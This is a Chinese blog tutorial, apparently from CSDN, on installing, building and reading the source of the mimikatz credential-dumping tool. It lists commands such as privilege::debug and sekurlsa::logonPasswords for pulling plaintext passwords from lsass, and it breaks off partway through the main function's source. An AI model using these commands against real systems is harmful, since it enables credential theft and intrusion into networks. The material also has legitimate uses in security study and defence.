mimikatz使用以及源码动态分析

本文详细介绍了mimikatz工具的安装运行过程,并通过动态调试深入解析了其源码,包括函数功能、提权和密码提取的实现,展示了mimikatz在windows平台上的强大功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

mimikatz使用以及源码分析


前言

Mimikatz 是法国人 Gentil Kiwi 编写的一款 windows 平台下的神器,它具备很多功能,其中最亮的功能是直接从 lsass.exe 进程里获取 windows 处于 active 状态账号的明文密码。mimikatz 的功能不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz 包含了很多本地模块,更像是一个轻量级的调试器。理论上可以抓取所有 windows 系统的明文密码(winxp 之前的好像不行),因此在内网渗透过程中应用非常广,属于内网渗透必备工具之一,被很多人称之为密码抓取神器。Mimikatz 其实并不只有抓取口令这个功能,它还能够创建票证、票证
传递、hash 传递、甚至伪造域管理凭证令牌等诸多功能。


以下是本篇文章正文内容

一、mimikatz安装运行

mimikatz工具
下载地址:https://github.com/gentilkiwi/mimikatz/releases

mimikatz基础命令

exit    退出
version    查看mimikatz的版本
privilege::debug    提升权限
privilege::list    列出权限列表
service::list    列出系统的服务
process::list    列出进程
system::user    查看当前登录的系统用户
nogpo::cmd    打开系统的cmd.exe
nogpo::regedit    打开系统的注册表
sekurlsa::wdigest    获取本地用户信息及密码
sekurlsa::kerberos    获取kerberos用户信息及密码
sekurlsa::logonPasswords   获登陆用户信息及密码

在vs 2019下运行该工程会出现一些错误,编译不了,在这里解释一下如何解 决这些问题运行代码。
第一个问题:vs2019提示错误MSB8041 MFC libraries are required for this project

MSB8041 MFC libraries are required for this project

MFC报错

这是因为vs 2019不会自动安装MFC组件,所以我们需要在vs_installer 下安装MFC组件。
在这里插入图片描述
点击单个组件,选中 “适用最新的C++ MFC” ,然后安装,重启vs 2019即可。
第二个问题是:没有 debug 模式
修改该工程的配置属性:
在这里插入图片描述
修改如下:
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

第三个问题是:错误 error C2220: 警告被视为错误

错误 error C2220: 警告被视为错误

打开Vs 2019-项目 - 属性 - 配置属性 - C/C++ - 常规 - 将警告视为错误 修改为 否,重新编译即可。
在这里插入图片描述
最后编译运行:
在这里插入图片描述
成功!!

二、mimikatz源码分析

1.函数具体功能

主函数
代码如下:

int wmain(int argc, wchar_t * argv[])
{
   
   
	int i, status = STATUS_SUCCESS;
#ifndef _WINDLL
	size_t len;
	wchar_t input[0xffff];
	kull_m_output_init();
	SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)");
	SetConsoleCtrlHandler(HandlerRoutine, TRUE);
#endif
	kprintf(L"\n"
		L"  .#####.   " MIMIKATZ_FULL L"\n"
		L" .## ^ ##.  \n"
		L" ## / \\ ##  /* * *\n"
		L" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )\n"
		L" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)\n"
		L"  '#####'    " MIMIKATZ_SPECIAL L" with %2u modules * * */\n\n", ARRAYSIZE(mimikatz_modules));
	
	mimikatz_initOrClean(TRUE);
	for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
	{
   
   
		kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]);
		status = mimikatz_dispatchCommand(argv[i]);
	}
#ifndef _WINDLL
	while (status != STATUS_FATAL_APP_EXIT)
	{
   
   
		kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
		if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值